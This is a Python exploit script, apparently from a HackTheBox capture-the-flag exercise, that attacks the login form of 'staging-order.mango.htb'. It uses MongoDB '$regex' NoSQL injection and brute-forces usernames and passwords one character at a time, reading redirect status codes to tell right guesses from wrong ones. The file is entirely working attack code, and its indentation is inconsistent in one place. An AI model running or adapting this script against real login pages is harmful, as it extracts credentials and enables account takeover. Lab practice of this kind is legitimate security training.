import requests
import string

url = "http://staging-order.mango.htb/"
headers = {"Host": "staging-order.mango.htb"}
cookies = {"PHPSESSID": "h6oenk3400qs49sb6fb1fl0v5d"}

guess_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]

def get_password(username):
     print("Doing "+username)
     params = {"username":username, "password[$regex]":"", "login": "login"}
     password = "^"
     while True:
         for x in guess_chars:
             params["password[$regex]"] = password + x + ".*"
             pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
             if int(pr.status_code) == 302:
                 password += x
                 break
         if x == guess_chars[-1]:
             print("Found password "+password[1:].replace("\\", "")+" for username "+username)
             return password[1:].replace("\\", "")

def get_usernames():
     usernames = []
    params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
     for x in guess_chars:
         username = "^" + x
         params["username[$regex]"] = username + ".*"
         pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
         if int(pr.status_code) == 302:
             print("Found username starting with "+x)
             while True:
                 for y in guess_chars:
                     params["username[$regex]"] = username + y + ".*"
                     if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
                         username += y
                         print(username)
                         break
                 if y == guess_chars[-1]:
                     print("Found username: "+username[1:])
                     usernames.append(username[1:])
                     break
     return usernames

for u in get_usernames():
     get_password(u)